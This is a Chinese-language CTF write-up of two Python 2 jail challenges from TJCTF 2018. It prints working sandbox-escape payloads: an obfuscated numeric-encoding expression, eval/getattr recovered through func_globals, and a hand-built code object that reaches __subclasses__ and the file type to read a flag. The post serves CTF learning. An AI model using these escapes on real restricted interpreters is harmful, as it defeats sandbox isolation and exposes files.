TJCTF 2018 中两道 Python Jail 的解法

感谢 M4x 师傅推荐了这个比赛, 虽然是面向美国高中生, 不过打了以后还是有点收获的.
同时内心受到一万点暴击伤害

尤其是两道 Python jail, 非常硬却失挺.
(下载地址在文末)

Mirror Mirror

连进去以后会收到一个提示

Hi! Are you looking for the flag? Try get_flag() for free flags. Remember, wrap your input in double quotes. Good luck!

不多说废话了, 这个环境无法 import, 也过滤了 双下划线, 和 getattr, eval, execfile, reload, file 等大量有用的函数,
经典的 payload 基本无法使用.

题目提示使用 get_flag(), 而且强调参数要包裹在两层括号中.
然而试一下会发现完全没有卵用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>>> get_flag('"a"')
a is not a valid character
>>> get_flag('"1"')
1 is not a valid character
>>> get_flag('"["')
You didn't guess the value of my super_secret_string
>>> get_flag('[')
Traceback (most recent call last):
File "<console>", line 1, in <module>
File "/home/app/problem.py", line 23, in get_flag
if(eval(input) == super_secret_string):
File "<string>", line 1
[
^
SyntaxError: unexpected EOF while parsing

我猜想的标准解法

通过 get_flag.func_code.co_consts 拿到函数内的常量, 得到 super_secret_string 的值.

1
2
>>> get_flag.func_code.co_consts
(None, 'this_is_the_super_secret_string', 48, 57, 65, 90, 97, 122, 44, 95, ' is not a valid character', '%\xcb', "You didn't guess the value of my super_secret_string")

然后发现后面那一串数字代表的正好是 09AZaz,_ 这几个字符,
于是判断过滤了 0~9, A-Z, _ 这两个字符.

再联想到题目让我们用两层括号和前面的报错, 判断应该是对我们的输入进行了eval, 那么具体思路就是:
不用 0~9, A-Z, _ 构造一个字符串 s, 使 eval(s) == 'this_is_the_super_secret_string'.

实现的方法是个挺著名的技巧, Google 搜 python jail 就能很轻松地搜到.
plaidctf-pyjail-story-of-pythons-escape

简单地讲一下这篇文章讲了啥 (仅限Python2):

在 Python2 中, 利用 [] < [] 可以得到 False, {} < [] 可以得到 True (都是什么鬼). 再利用 True 和 False 在进行数学运算时表现类似 1 和 0 的特性, 就可以通过运算得到任意数字. 作者给出了一个脚本来进行这种转换.

1
2
3
4
5
6
7
8
9
def brainfuckize(nb):
if nb in [-2, -1, 0, 1]:
return ["~({}<[])", "~([]<[])",
"([]<[])", "({}<[])"][nb+2]

if nb % 2:
return "~%s" % brainfuckize(~nb)
else:
return "(%s<<({}<[]))" % brainfuckize(nb/2)

有了数字, 我们就可以利用 "%c" % n 这种方式来得到字符了, 不过这个地方 c 仍然是字母, 必须再想办法换掉.

作者提出了这种方式来获取 %c : `'%\xcb'`[1::3] , 这是一个十分巧妙的方式. 首先 '%\xcb' 代表了两个字符, %\xcb , 这两者都不在过滤列表内 ( 可以用 [i for i in "`'%\xca'`"]验证一下), 然后, 利用 ``(即repr的语法糖) 可以再次得到这串字符串的原始形式(相当于 eval 的反函数), 即由' % \ x c b ' 七个字符组成的字符串. 现在再用下标将他们取出, 就能得到 %c 了, 然后就可以愉快地得到任意字符了.

接下来要把字符拼接成字符串, 对于本题来说我觉得直接 + 就可以了, 不过作者似乎对 repr 情有独钟, 采用了 `['a', 'b', 'c', 'd']`[2::5] 这种方式来得到字符串 abcd ...

这个地方我们用+拼接, 直接给出 payload 的生成代码. 应该没人打算手写吧

1
'+'.join(["`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % " + brainfuckize(ord(i)) for i in 'this_is_the_super_secret_string'])

解释: 先用 brainfuckize(ord(i)) 得到每个字符对应 ASCII 码的 brainfuck 形式. 再拼接在 "`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % " 后面, 就得到了一段 eval 后可以得到对应字符的代码, 然后把这一堆代码用+ 拼接起来就可以得到最终 payload 了

1
"`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % (((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % (((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~(~(~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % (~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~((~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % (~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % (~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % (~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))] % ~(((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))"

把这堆不忍直视的玩意儿作为 get_flag 的参数传过去, 就能得到 flag 了

大概是官方没想到的解法

我当时用的不是 我猜想的标准解法 那文章太硬核了看着就怕.

当时我是通过 get_flag.func_gloabals, 发现了一些有趣的东西

1
2
>>> print get_flag.func_globals
{'PseudoFile': <class '__main__.PseudoFile'>, 'code': <module 'code' from '/usr/lib/python2.7/code.pyc'>, 'bad': ['__class__', '__base__', '__subclasses__', '_module', 'open', 'eval', 'execfile', 'exec', 'type', 'lambda', 'getattr', 'setattr', '__', 'file', 'reload', 'compile', 'builtins', 'os', 'sys', 'system', 'vars', 'getattr', 'setattr', 'delattr', 'input', 'raw_input', 'help', 'open', 'memoryview', 'eval', 'exec', 'execfile', 'super', 'file', 'reload', 'repr', 'staticmethod', 'property', 'intern', 'coerce', 'buffer', 'apply'], '__builtins__': <module '?' (built-in)>, '__file__': '/home/app/problem.py', 'execfile': <built-in function execfile>, '__package__': None, 'sys': <module 'sys' (built-in)>, 'getattr': <built-in function getattr>, 'Shell': <class __main__.Shell at 0x7fa31706bc80>, 'banned': ['vars', 'getattr', 'setattr', 'delattr', 'input', 'raw_input', 'help', 'open', 'memoryview', 'eval', 'exec', 'execfile', 'super', 'file', 'reload', 'repr', 'staticmethod', 'property', 'intern', 'coerce', 'buffer', 'apply'], 'InteractiveConsole': <class code.InteractiveConsole at 0x7fa31706bc18>, 'eval': <built-in function eval>, 'get_flag': <function get_flag at 0x7fa31707b8c0>, '__name__': '__main__', 'main': <function main at 0x7fa31708e410>, '__doc__': None, 'print_function': _Feature((2, 6, 0, 'alpha', 2), (3, 0, 0, 'alpha', 0), 65536)}

加上 .keys() 可能更清晰

1
2
>>> get_flag.func_globals.keys()
['PseudoFile', 'code', 'bad', '__builtins__', '__file__', 'execfile', '__package__', 'sys', 'getattr', 'Shell', 'banned', 'InteractiveConsole', 'eval', 'get_flag', '__name__', 'main', '__doc__', 'print_function']

可以看到这个地方有大量有趣的玩意儿. 比如利用 eval, 可以绕过对双下划线的过滤.

1
2
3
>>> e = get_flag.func_globals.values()[12]
>>> e('{}.##class##.##bases##[0]'.replace('#', '_'))
<type 'object'>

利用 getattr, 可以直接获取 file object

1
2
3
4
>>> builtin=locals().values()[0]
>>> gattr=get_flag.func_globals.values()[8]
>>> gattr(builtin, 'fi''le')
<type 'file'>

然后就变得和套路题一样了...

The Abyss

这道题没被 patch 之前是很简单的, 直接 reload(locals().values()[0]) 重新加载builtin模块, 就能愉快地 import 了. 可惜后来被 patch 了, 难度陡增.(话说上一题其实也 patch 过, 然而并没有什么变化...)

被 patch 以后我看着这道题是非常懵逼的, 没有双下划线, 没有getattr, eval, exec, execfile, reload, input等函数.
builtin 也被清理得很彻底, 无从下手大概说的就是这种感觉. 于是我就放弃了

但后来在写另一道题时, 突然搜到了一篇惊为天人的文章(可谓有心栽花花不开, 无心插柳柳成荫啊).
bypassing-python-sandbox-by-abusing

核心思路是: 既然Python是一门面向对象的语言, 数字是对象, 字符串是对象, 连函数也是对象. 那么, 我们为何不通过直接初始化一个函数对象的方法来构造出一个函数, 从而绕过关键词过滤呢?
(有点元编程的赶脚)

首先我们拿出经典的绕过语句, 在本地编写一个函数

1
2
def foo():
return ().__class__.__bases__[0].__subclasses__()

然后通过 function = type(foo), 可以拿到 function 类.

看看这个类是怎么实例化的.

1
2
3
4
5
6
7
8
9
In [  ]: function?
Docstring:
function(code, globals[, name[, argdefs[, closure]]])

Create a function object from a code object and a dictionary.
The optional name string overrides the name from the code object.
The optional argdefs tuple specifies the default argument values.
The optional closure tuple supplies the bindings for free variables.
Type: type

可以发现想要实例化这个类我们至少需要两个玩意儿, 一个 code object, 一个 globals(该怎么称呼这玩意儿呢...全局作用域?
globals 可以沿用全局的. 那么就只差一个 code object 了.

通过 code = type(foo.func_code) 可以得到一个 code 类, 看看参数:

1
2
3
4
5
6
7
In [  ]: code?
Docstring:
code(argcount, nlocals, stacksize, flags, codestring, constants, names,
varnames, filename, name, firstlineno, lnotab[, freevars[, cellvars]])

Create a code object. Not for the faint of heart.
Type: type

wow, 好多参数. 具体含义可以到 https://docs.python.org/2/reference/datamodel.html看.

不过这个地方不必关心这些参数的含义, 我们只要照抄就行了. 先全部打印出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
In [  ]: print(
...: foo.__code__.co_argcount,
...: foo.__code__.co_nlocals,
...: foo.__code__.co_stacksize,
...: foo.__code__.co_flags,
...: foo.__code__.co_code,
...: foo.__code__.co_consts,
...: foo.__code__.co_names,
...: foo.__code__.co_varnames,
...: foo.__code__.co_filename,
...: foo.__code__.co_name,
...: foo.__code__.co_firstlineno,
...: foo.__code__.co_lnotab,
...: foo.__code__.co_freevars,
...: foo.__code__.co_cellvars
...: )
(0, 0, 2, 67, 'd\x02\x00j\x00\x00j\x01\x00d\x01\x00\x19j\x02\x00\x83\x00\x00S', (None, 0, ()), ('__class__', '__bases__', '__subclasses__'), (), '<ipython-input-41-f6de0e4db9a4>', 'foo', 1, '\x00\x01', (), ())

然后进行一些修改以绕过过滤, 就可以开始构造我们的函数了

1
2
3
4
5
6
f = lambda x: x # 获取一个 function 对象
function = type(f) # 获取 function 类
code = type(f.func_code) # 获取 code 类
codeobj = code(0, 0, 2, 67, 'd\x02\x00j\x00\x00j\x01\x00d\x01\x00\x19j\x02\x00\x83\x00\x00S', (None, 0, ()), ('_''_class_''_', '_''_bases_''_', '_''_subclasses_''_'), (), '<module>', 'foo', 1, '\x00\x01', (), ()) # 实例化一个 code 对象
foo = function(codeobj, globals()) # 实例化一个 function 对象
# 现在已经在服务器上建立了一个我们的 foo 函数的拷贝了~

然后执行 foo(), 就能获得大量棒棒的类.

试着执行 fooo()[40] , 果不其然得到了 file 类. 可以愉快地读取 flag.txt 了~

总结

美国的高中生太可怕了...

下载

Mirror Mirror.py

The Abyss.py'